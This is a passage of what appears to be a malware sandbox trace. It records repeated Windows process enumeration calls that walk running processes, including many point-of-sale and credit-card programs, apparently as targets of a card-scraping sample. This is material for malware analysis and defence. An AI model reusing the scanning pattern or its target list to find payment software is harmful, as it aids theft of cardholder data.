th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0126.885] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0126.887] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0126.889] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0126.891] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0126.893] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0126.895] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0126.897] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0126.899] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0126.901] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0126.903] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0126.905] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0126.908] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0126.912] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0126.914] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0126.916] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0126.918] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0126.919] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0126.921] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0126.923] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0126.925] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0126.927] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0126.929] CloseHandle (hObject=0x1e38) returned 1 [0126.930] Sleep (dwMilliseconds=0x64) [0127.106] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e84 [0127.125] Process32First (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.127] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0127.130] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0127.133] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.135] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0127.138] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.140] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0127.143] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0127.148] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0127.151] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.153] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.156] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0127.159] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.161] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.163] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.166] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.168] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.171] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.173] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.175] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0127.178] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0127.181] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0127.184] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.186] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0127.189] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0127.191] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0127.194] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0127.196] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0127.198] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0127.200] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0127.202] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.204] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0127.206] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0127.209] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0127.211] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0127.214] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.248] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0127.251] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0127.253] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0127.256] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0127.258] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0127.260] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0127.263] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0127.265] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0127.282] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0127.286] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0127.288] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0127.290] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0127.293] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0127.295] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0127.297] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0127.300] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0127.302] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0127.304] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0127.307] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0127.310] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0127.312] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0127.315] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0127.318] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0127.322] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0127.325] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0127.327] Process32Next (in: hSnapshot=0x1e84, 